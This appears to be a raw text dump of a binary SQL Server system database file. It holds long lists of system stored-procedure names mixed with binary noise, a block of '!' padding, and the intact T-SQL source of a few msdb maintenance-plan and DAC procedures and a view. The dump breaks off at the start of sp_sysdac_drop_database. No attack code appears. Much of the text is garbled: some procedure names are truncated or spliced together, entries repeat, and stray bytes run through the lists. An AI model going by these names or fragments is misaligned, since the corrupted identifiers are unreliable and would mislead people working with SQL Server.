Sget_agent_names&/6sp_MShelp_repl_agent&$Bsp_MSget_subscription_guid&賴Tsp_MSget_DDL_after_regular_snapshot&%4sp_MSgetchangecount&V<sp_MSgettranconflictrow&U2sp_MSget_load_hint&s|0sp_MSforeachtable&:Bsp_MSgetarticlereinitvalue&<:sp_MSfillupmissingcols&GyFsp_MSgrantconnectreplication&L0sp_MShelp_article&#/<sp_MSforcereenumeration&fsp_MSgetmetadata_changedlogicalrecordmembers&x4sp_MSgetreplicainfo&:sp_MSget_repl_commands&`,sp_MSgetversion&4sp_MSgetrowmetadata&_U7<sp_MSget_latest_peerlsn&R.sp_MShelpcolumns&Jsp_MSgetrowmetadatalightweight&LC>sp_MShelp_snapshot_agent&]T+>sp_MSGetCurrentPrincipal&5-0sp_MSget_jobstate&!5:sp_MSfast_delete_trans&xq8sp_MSget_shared_agent&mBsp_MSgetpeertopeercommands&<sp_MSfetchidentityrange&%)4@sp_MSget_snapshot_history&0sp_MSfix_6x_tasks&Z0sp_MSfilterclause&Y<sp_MSgetpeerconflictrow&yJsp_MSget_logicalrecord_lineage&^<sp_MShelp_merge_agentid&o@sp_MShelp_subscriber_info&
3Rsp_MSget_publication_from_taskname&$bDsp_MSget_session_statistics&TBsp_MShelp_snapshot_agentid&ߑ4sp_MSforeach_worker&1<sp_MSget_new_xact_seqno& z|2sp_MSgetlastrecgen&Hsp_MSgetmakegenerationapplock&M8sp_MSgetmetadatabatch&>'`@sp_MSgetonerowlightweight&[Dsp_MSfixupbeforeimagetables&Bsp_MSget_max_used_identity&qWPsp_MSforce_drop_distribution_jobs&v.sp_MSgetpeerlsns&Fsp_MSgetmaxsnapshottimestamp&GBsp_MSget_synctran_commands&\“0sp_MSgetdbversion&.sp_MShasdbaccess&y<sp_MSflush_access_cache&ЅDsp_MShelp_replication_table& ),sp_MSgetpubinfo&Hsp_MShelp_subscription_status&Tsp_MSget_log_shipping_new_sessionid&8sp_MShelp_publication&BLBsp_MShaschangeslightweight&o@sp_MSget_last_transaction&2sp_MSget_oledbinfo&!8sp_MSget_attach_state&p:sp_MSgetsubscriberinfo&l<sp_MSgenerateexpandproc&܈<sp_MSgetmetadatabatch90&Hsp_MSfetchAdjustidentityrange&-6sp_MSgetreplicastate&.2sp_MSget_min_seqno&7Fsp_MSget_repl_cmds_anonymous&*Jsp_MSgetsupportabilitysettings&Bsp_MSgetconflictinsertproc&>sp_MSgetalternaterecgens&m4sp_MSgetlastsentgen&Oՙ0sp_MSgetalertinfo&'Nsp_MSgetmakegenerationapplock_90Smakeconflictinsertproc&!Bsp_MSinitdynamicsubscriber&t>sp_MSreinit_subscription&R.sp_MShelpcolumns&!C@sp_MSproxiedmetadatabatch&$6sp_MSproxiedmetadata&,sp_MSreinit_hub&Jsp_MSgetrowmetadatalightweight&LC>sp_MShelp_snapshot_agent&:sp_MShelpmergearticles&0<sp_MSmerge_parsegenlist&q=<sp_MSpublicationcleanup&*sp_MShelpindex&]T+>sp_MSGetCurrentPrincipal&5-0sp_MSget_jobstate&!5:sp_MLfb&
nx.^p*
:z
B
@	h|: .JZ\
8F
l`Tv
j(Z	<L@	
Z	~&<("$Dp`
	`"Ze[t7hj&*sp_bindsession&*6sp_cdc_disable_table&N.sp_cdc_enable_db&\sp_change_log_shipping_primary_database&8<sp_changedistributiondb&l>sp_changelogreader_agent&Bsp_changemergesubscription&d+Hsp_check_constbytable_rowset2&>sp_check_dynamic_filters&CV>sp_columns_90_rowset_rmt&xc2sp_catalogs_rowset&Fsp_changedynamicsnapshot_job&%Jsp_changearticlecolumndatatype&jmFsp_check_constbytable_rowset&Rφ:sp_changeqreader_agent&,.m8sp_changemergearticle&Fsp_changesubscriptiondtsinfo&@sp_cdc_vupgrade_databases&Fsp_check_constraints_rowset2&Z0sp_browsereplcmds&Lsp_column_privileges_rowset_rmt&v	Hsp_changepublication_snapshot&@Hsp_changedistributor_password&
<sp_browsesnapshotfolder&{
,:sp_clean_db_free_space&6sp_check_join_filter&_X*sp_cdc_add_job&:sp_catalogs_rowset_rmt&6Dsp_column_privileges_rowset&+H$sp_cdc_scan&Κ.sp_cdc_help_jobs&@sp_change_agent_parameter&eD:sp_can_tlog_be_applied&:]0sp_cdc_disable_db&u?,sp_cdc_vupgrade&Y4sp_changesubscriber&5q(sp_columns_ex&g8sp_columns_90_rowset2&Ǥ2sp_check_removable&&`vJsp_changemergepullsubscription&Fsp_checkOraclepackageversion&1^sp_change_log_shipping_secondary_primary&_86sp_certify_removable&6Dsp_clean_db_file_free_space&8sp_change_users_login&&`sp_change_log_shipping_secondary_database&y@sp_changemergelogsettings&J(sp_columns_90&>sp_checkinvalidivarticle&uDsp_check_constraints_rowset&xd*sp_columns_100&ۍFsp_column_privileges_rowset2&$Z@sp_changemergepublication&Hsp_changedistributor_property&[h6sp_changemergefilter&r$SFsp_changesubscriber_schedule&Q;Psp_change_subscription_properties&/m[0sp_cdc_change_job&4sp_catalogs_rowset2&vLsp_cdc_help_change_data_capture&b,sp_cdc_stop_job&+Dsp_cdc_get_captured_columns&vTsp_changereplicationserverpasswords&ZPsp_change_tracking_waitforchanges&.sp_changedbowner&8%@.sp_changearticle&&Nsp_cdc_generate_wrapper_function&
f<sp_cleanupdbreplication&k:sp_changedistpublisher&w=d8sp_columns_100_rowset&x.sp_cdc_start_job&4sp_cdc_enable_table&Fsp_browsemergesnapshotfolder&,sp_cdc_drop_job&_n$sp_catalogs&]8sp_cleanmergelogfiles&:|:sp_cdc_get_ddl_history&Tsp_check_log_shipping_monitor_alert&^^2sp_changesubstatus&,<sp_column_privileges_ex&OM6sp_changepublication&^Lsp_cleanup_log_shipping_history&N@sp_check_for_sync_trigger&g6sp_changeobjectowner&A:sp_check_subset_filter&:sp_columns_100_rowset2&X46sp_columns_90_rowset&U<Dsp_cdc_cleanup_change_table&oV6sp_cdc_dbsnapshotLSN&6sp_column_privileges&W6Dsp_check_publication_access&m=.sp_cdc_restoredb&X8sp_check_sync_trigger&]`"sp_columns&8sp_changesubscription&2<sp_change_agent_profileure&.sp_datatype_info&L@sp_describe_cursor_tables&xd*sp_columns_100&6e$sp_droprole&ۍFsp_column_privileges_rowset2&e2sp_columns_managed&ygBsp_dropdynamicsnapshot_job&$Z@sp_changemergepublication&]0sp_columns_ex_100&Hsp_changedistributor_property&[h6sp_changemergefilter&r$SFsp_changesubscriber_schedule&?ZRsp_configure_peerconflictdetection&!8sp_createmergepalrole&Q;Psp_change_subscription_properties&M*sp_dropmessage&/m[0sp_cdc_change_job&[a4sp_dropmergearticle&4sp_catalogs_rowset2&c$4sp_copysubscription&vLsp_cdc_help_change_data_capture&b,sp_cdc_stop_job&4
2sp_dropdistributor&+Dsp_cdc_get_captured_columns&|U*sp_cursor_list&Cq6sp_copymergesnapshot&p&sp_detach_db&Lsp_db_vardecimal_storage_format&vTsp_changereplicationserverpasswords&<<sp_dropreplsymmetrickey&`$sp_dropuser&.$Bsp_describe_cursor_columns&3I4sp_dbmmonitorupdate&iF*sp_dropapprole&ԓk0sp_cursorprepexec&e6sp_createtranpalrole&ZPsp_change_tracking_waitforchanges&.HPr@,pz X
	L,	NDrv
,T^	^@
JB

	
L
l(ppX,V<:<`
]"J
f[t'N& sp_rename&L,sp_replcounters&:sp_replicationdboption&O_>sp_replmonitorrefreshjob&2sp_replsendtoqueue&k6sp_replsetsyncstatus&(+,sp_replshowcmds&}~N2sp_replsqlqgetrows&n4sp_resyncexecutesql&sq5Psp_script_reconciliation_sinsproc&{0sp_scriptxdelproc&9U8sp_server_diagnostics&O(sp_setnetname&VeD6sp_SetOBDCertificate&TQJsp_replmonitorhelpsubscription&je:sp_replgetparsedddlcmd&0sp_scriptxupdproc&U{g0sp_scriptvupdproc&t&sp_repltrans&@.sp_scriptdelproc&q*sp_replrethrow&yDsp_setsubscriptionxactseqno&NFsp_setdefaultdatatypemapping&E.sp_scriptinsproc&W80sp_scriptvdelproc&2Psp_script_reconciliation_vdelproc&͈Vsp_replmonitorhelpmergesessiondetail&3lFsp_revoke_publication_access&$sp_replcmds&<sp_restoredbreplication&5CNsp_script_reconciliation_insproc&$!.sp_resyncprepare&1@sp_reserve_http_namespace&4sp_replqueuemonitor&.sp_repladdcolumn&pBsp_requestpeertopologyinfo&UXsp_replmonitorsubscriptionpendingcmds&L6sp_replwritetovarbin&R/80sp_resolve_logins&s̆2sp_resign_database&
6$sp_replsync&NJ"sp_replica&t<sp_scriptdynamicupdproc&☩6sp_replsetoriginator&dJsp_replmonitorhelpmergesession&*sp_resetstatus&Psp_script_reconciliation_xdelproc&Q)*sp_server_info&2_Dsp_script_synctran_commands&PDdsp_replmonitorhelpmergesubscriptionmoreinfo&$sp_repldone&0sp_scriptsupdproc&Fsp_replication_agent_checkup&'4sp_reset_connection&2sp_schemata_rowset&=yx2sp_settriggerorder&뇝:sp_scriptmappedupdproc&6QDsp_replmonitorhelppublisher&B|:sp_replcleanupccsprocs&a*Fsp_restoremergeidentityrange&tK8sp_sequence_get_range&/}:sp_requestpeerresponse&9$sp_replhelp&-(sp_setapprole&/.sp_scriptupdproc&Ӻ6*sp_revokelogin&\sp_replmonitorhelppublicationthresholds&*Lsp_scriptpublicationcustomprocs&
r?,sp_schemafilter&,m0sp_scriptsinsproc&	<sp_repldeletequeuedtran&5k.sp_replddlparser&>_6sp_resyncuniquetable&ҩBsp_setOraclepackageversion&^sp_replmonitorchangepublicationthreshold&9O8sp_replpostsyncstatus&SNsp_rollback_parallel_nested_tran&_^0sp_repldropcolumn&4:sp_setreplfailovermode&^&sp_replflush&S.sp_resyncexecute&n0sp_revokedbaccess&]rNsp_script_reconciliation_delproc&Jsp_SetAutoSAPasswordAndDisable&xA$sp_renamedb&t#c,sp_serveroption&-8sp_repl_generateevent&aL@sp_scriptsubconflicttable&i0XHsp_replmonitorhelppublication&MNsp_resetsnapshotdeliveryprogress&Bsp_resyncmergesubscription&%4sp_replincrementlsn&4*sp_replrestartrocedures&>sp_tables_info_rowset_64&Psp_script_reconciliation_xdelproc&,WRsp_stopmergepullsubscription_agent&,M8sp_tables_info_rowset&:sp_trace_generateevent&|hsp_syspolicy_unsubscribe_from_policy_category&?8sp_table_types_rowset&Q)*sp_server_info&PR&sp_tables_ex&^Jsp_startpullsubscription_agent&2sp_tablecollations&2_Dsp_script_synctran_commands&PDdsp_replmonitorhelpmergesubscriptionmoreinfo&$sp_repldone&0sp_scriptsupdproc&Bg"sp_sqlexec&_/&sp_subscribe&Fsp_replication_agent_checkup&'4sp_reset_connection&2sp_schemata_rowset&=yx2sp_settriggerorder&뇝:sp_scriptmappedupdproc&6QDsp_replmonitorhelppublisher&	s`Zsp_syspolicy_update_event_notification&g,sp_trace_create&rODsp_table_privileges_rowset2&B|:sp_replcleanupccsprocs&a*Fsp_restoremergeidentityrange&<l:sp_table_privileges_ex&pn(sp_unbindrule&Fsp_startpublication_snapshot&tK8sp_sequence_get_range&/}:sp_requestpeerresponse&9$sp_replhelp&-(sp_setapprole&/.sp_scriptupdproc&Ӻ6*sp_revokelogin&9w*sp_tableoption&2sp_trace_setstatus&\sp_replmonitorhelppublicationthresholds&_(sp_statistics&*Lsp_scriptpublicationcustomprocs&B)8sp_statistics_rowset2&
r?,sp_schemafilter&,m0sp_scriptsinsproc&	<shR."

nNV
 `	>
F
~f6V*6$\R

F
	V	$l*4	>	
~xhj
N`

U"(
.g[3Q&:K@sp_helptracertokenhistory&|FLsp_identitycolumnforreplication&:sp_IHValidateRowFilter&Z,sp_IHXactSetJob&0sDsp_is_makegeneration_needed&9mL<sp_linkedservers_rowset&;\sp_MSacquiresnapshotdeliverysessionlock&cf:sp_MSactivate_auto_sub&ieHRsp_MSactivatelogbasedarticleobject&Al>sp_MSadd_filteringcolumn&zVsp_MSadd_log_shipping_history_detail&\@sp_MSadd_mergereplcommand&6sp_MSadd_publication&$8sp_MSadd_repl_command&h$Dsp_MSacquireHeadofQueueLock&<Fsp_mergesubscription_cleanup&fsp_http_generate_wsdl_defaultsimpleorcomplex&4sp_MSadd_repl_alert&O>sp_MSadd_anonymous_agent&<sp_mergecleanupmetadata&8sp_mergearticlecolumn&<2sp_IHarticlecolumn&4sp_mergedummyupdate&zFsp_migrate_user_to_contained&"A4sp_link_publication&U6sp_indexes_90_rowset&Jsp_MSadd_merge_anonymous_agent&d4sp_helptracertokens&Nsp_mergemetadataretentioncleanup&F"sp_indexes&Pfsp_MSacquireserverresourcefordynamicsnapshot&nBsp_markpendingschemachange&!(2sp_indexes_managed&fvLsp_MSadd_mergesubentry_indistdb&<sp_indexcolumns_managed&?dE8sp_indexes_100_rowset&`Dsp_mergesubscriptionsummary&.sp_linkedservers&~>sp_linkedservers_rowset2&_:sp_MSadd_qreader_agent&)X8sp_ivindexhasnullcols&4fsp_MSactivateprocedureexecutionarticleobject&H!0sp_mapdown_bitmap&"Rsp_MSadd_log_shipping_error_detail&6udsp_lightweightmergemetadataretentioncleanup&AHsp_logshippinginstallmetadata&8lBsp_MSadd_logreader_history&8$sp_helpuser&c6sp_MSacquireSlotLock&cQ*sp_helptrigger&ARsp_MSadd_dynamic_snapshot_location&>sp_MSadd_qreader_history&	zfsp_http_generate_wsdl_defaultcomplexorsimple&^sp_lock&=iDsp_MSadd_merge_subscription&Dsp_MSadd_distribution_agent&=[8sp_indexes_90_rowset2&82sp_IHScriptSchFile&E?@sp_MSadd_compensating_cmd&P"sp_monitor&FHsp_MSadd_distribution_history&8sp_invalidate_textptr&K<sp_lookupcustomresolver&Dsp_IHget_loopback_detection&n6sp_MSadd_merge_agent&;Dsp_MS_replication_installed&:sp_MS_marksystemobject&X.sp_MSadd_article&j>sp_indexes_90_rowset_rmt&B*sp_indexoption&2sp_indexes_rowset2&*RHsp_http_generate_wsdl_complex&8sp_IHadd_sync_command&j+Fsp_http_generate_wsdl_simple&ȯ:sp_indexes_100_rowset2&
>sp_MSadd_merge_history90&7o/2sp_IHScriptIdxFile&z
0sp_helpxactsetjob&˂Hsp_marksubscriptionvalidation&s>8sp_indexes_rowset_rmt&f68sp_IH_LR_GetCacheData&IC`sp_kill_filestream_non_transacted_handles&.0sp_indexes_rowset&U>sp_MSadd_logreader_agent&F%0:sp_MSadd_merge_historyg_error_detail&6udsp_lightweightmergemetadataretentioncleanup&@sp_MSCleanupForPullReinit&d6sp_MScdc_cleanup_job&AHsp_logshippinginstallmetadata&8lBsp_MSadd_logreader_history&ep\sp_MSchangedynsnaplocationatdistributor&Bsp_MSaddinitialpublication&8$sp_helpuser&c6sp_MSacquireSlotLock&cQ*sp_helptrigger&ARsp_MSadd_dynamic_snapshot_location&,Bsp_MSadd_repl_commands27hp&j8VFsp_MScheckfailedprevioussync&aFsp_MSaddsubscriptionarticles&>sp_MSadd_qreader_history&LIFsp_MSaddinitialschemaarticle&	zfsp_http_generate_wsdl_defaultcomplexorsimple&,sp_MScdc_logddl&Zsp_MSchange_logreader_agent_properties&^sp_lock&=iDsp_MSadd_merge_subscription&Dsp_MSadd_distribution_agent&?Psp_MSchange_subscription_dts_info&E8sp_MSaddmergetriggers&=[8sp_indexes_90_rowset2&_2sp_MSaddguidcolumn&[{Zsp_MScheck_logicalrecord_metadatamatch&82sp_IHScriptSchFile&,@sp_MScheck_agent_instance&bsp_MSchangedynamicsnapshotjobatdistributor&P[2sp_MScdc_ddl_event&6@sp_MSbrowsesnapshotfolder&E?@sp_MSadd_compensating_cmd&P"sp_monitor&L?>sp_MSadd_subscriber_info&oPTsp_MScleanupmergepublisher_internal&1{Bsp_MSchangearticleresolver&FHsp_MSadd_distribution_history&8sp_invalidate_textptr&
>
 
N
R&(RB 
h.08p	@f^n<

		~z&Z
Rr~48	&N|
>h2`{<hNhR0
^ r8CREATE PROCEDURE sp_maintplan_update_log
    --Updates the log_details table
    @task_detail_id      UNIQUEIDENTIFIER,       --Required
    @Line1              NVARCHAR(256),       --Required
    @Line2              NVARCHAR(256)   = NULL,
    @Line3              NVARCHAR(256)   = NULL,
    @Line4              NVARCHAR(256)   = NULL,
    @Line5              NVARCHAR(256)   = NULL,
    @server_name      sysname,            --Required
    @succeeded         TINYINT,           --Required
    @start_time           DATETIME,          --Required
    @end_time          DATETIME,          --Required
    @error_number     int=NULL,
    @error_message       NVARCHAR(max)   = NULL,
    @command           NVARCHAR(max)   = NULL
AS
BEGIN

   --Prep strings
   SET NOCOUNT ON
   SELECT @Line1 = LTRIM(RTRIM(@Line1))
   SELECT @Line2 = LTRIM(RTRIM(@Line2))
   SELECT @Line3 = LTRIM(RTRIM(@Line3))
   SELECT @Line4 = LTRIM(RTRIM(@Line4))
   SELECT @Line5 = LTRIM(RTRIM(@Line5))

   INSERT INTO msdb.dbo.sysmaintplan_logdetail(
        task_detail_id, 
        line1,
        line2, 
        line3, 
        line4, 
        line5, 
        server_name, 
        start_time, 
        end_time, 
        error_number, 
        error_message, 
        command, 
        succeeded)
   VALUES(
        @task_detail_id,
        @Line1,
        @Line2,
        @Line3,
        @Line4,
        @Line5,
        @server_name,
        @start_time,
        @end_time,
        @error_number,
        @error_message,
        @command,
        @succeeded)

    RETURN (@@ERROR)
END
0	~ 8CREATE VIEW dbo.sysutility_ucp_policy_check_conditions 
AS
SELECT
    cc.target_type AS target_type,
    cc.resource_type AS resource_type,
    cc.utilization_type AS utilization_type,
    cc.facet_name AS facet_name,
    cc.attribute_name AS attribute_name,
    cc.operator_type AS operator_type,
    cc.property_name AS property_name
FROM msdb.[dbo].[sysutility_ucp_policy_check_conditions_internal] cc
0D `8CREATE PROCEDURE [dbo].[sp_sysdac_upgrade_instance]  
    @source_instance_id UniqueIdentifier = NULL,   
    @instance_id UniqueIdentifier = NULL,            
    @instance_name sysname,
    @database_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
    DECLARE @retval INT  

    DECLARE @null_column sysname    
    SET @null_column = NULL

    IF (@source_instance_id IS NULL)
        SET @null_column = '@source_instance_id'
    ELSE IF (@instance_id IS NULL )
        SET @null_column = '@instance_id'
    ELSE IF( @database_name IS NULL)
        SET @null_column = '@database_name'

    IF @null_column IS NOT NULL
    BEGIN
        RAISERROR(14043, -1, -1, @null_column, 'sp_sysdac_upgrade_instance')
        RETURN(1)
    END
    
    -- Ensure that the package being referred to exists by using the package view. We only continue if we can see 
    -- the specified package. The package will only be visible if we are the associated dbo or sysadmin and it exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END
    
    --Ensure that the package being referred exists
    IF NOT EXISTS (SELECT * from dbo.sysdac_instances_internal WHERE instance_id = @instance_id)
    BEGIN
        RAISERROR(36004, -1, -1)
        RETURN(1)
    END

    BEGIN TRAN 
    
    --Delete the source DacInstance first
    EXEC dbo.sp_sysdac_delete_instance @instance_id = @instance_id
    
    --Update the new version DacInstance metadata with the original DacInstance
    UPDATE [dbo].[sysdac_instances_internal]
    SET instance_id   = @instance_id, 
        instance_name = @instance_name
    WHERE instance_id = @source_instance_id

    COMMIT
    
    SELECT @retval = @@error
    RETURN(@retval)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`k<RiN(qĕ01R 
8CREATE PROCEDURE sp_maintplan_update_subplan
    @subplan_id       UNIQUEIDENTIFIER,
    @plan_id       UNIQUEIDENTIFIER    = NULL,
    @name          sysname             = NULL,
    @description  NVARCHAR(512)       = NULL,
    @job_id        UNIQUEIDENTIFIER    = NULL,
    @schedule_id  INT                 = NULL,
    @allow_create   BIT                 = 0,
    @msx_job_id    UNIQUEIDENTIFIER    = NULL
AS
BEGIN

   SET NOCOUNT ON

   SELECT @name = LTRIM(RTRIM(@name))
   SELECT @description = LTRIM(RTRIM(@description))

   --Are we creating a new entry or updating an existing one?

   IF( NOT EXISTS(SELECT * FROM msdb.dbo.sysmaintplan_subplans WHERE subplan_id = @subplan_id) )
   BEGIN
        -- Only allow creation of a record if user permits it
        IF(@allow_create = 0)
        BEGIN
            DECLARE @subplan_id_as_char VARCHAR(36)
            SELECT @subplan_id_as_char = CONVERT(VARCHAR(36), @subplan_id)
            RAISERROR(14262, -1, -1, '@subplan_id', @subplan_id_as_char)
          RETURN(1)
        END

        --Insert it's a new subplan
      IF (@name IS NULL)
      BEGIN
          RAISERROR(12981, -1, -1, '@name')
         RETURN(1) -- Failure
      END

      IF (@plan_id IS NULL)
      BEGIN
          RAISERROR(12981, -1, -1, '@plan_id')
         RETURN(1) -- Failure
      END

      INSERT INTO msdb.dbo.sysmaintplan_subplans(
            subplan_id,
            plan_id,
            subplan_description,
            subplan_name,
            job_id,
            schedule_id,
            msx_job_id)
      VALUES(
            @subplan_id,
            @plan_id,
            @description,
            @name,
            @job_id,
            @schedule_id,
            @msx_job_id)

   END
   ELSE
   BEGIN --Update the table

      DECLARE @s_subplan_name sysname
      DECLARE @s_job_id UNIQUEIDENTIFIER

      SELECT @s_subplan_name         = subplan_name,
            @s_job_id               = job_id
      FROM msdb.dbo.sysmaintplan_subplans
      WHERE (@subplan_id = subplan_id)

      --Determine if user wants to change these variables
      IF (@name IS NOT NULL)          SELECT @s_subplan_name          = @name
      IF (@job_id IS NOT NULL)        SELECT @s_job_id                = @job_id

      --UPDATE the record

      UPDATE msdb.dbo.sysmaintplan_subplans 
        SET subplan_name        = @s_subplan_name,
            subplan_description = @description,
            job_id              = @s_job_id,
            schedule_id         = @schedule_id,
            msx_job_id          = @msx_job_id
      WHERE (subplan_id = @subplan_id)

   END

    RETURN (@@ERROR)
END
0}7 8CREATE PROCEDURE [dbo].[sp_sysdac_drop_database]  
        @database_name sysname
AS  
SET NOCOUNT ON;
BEGIN  
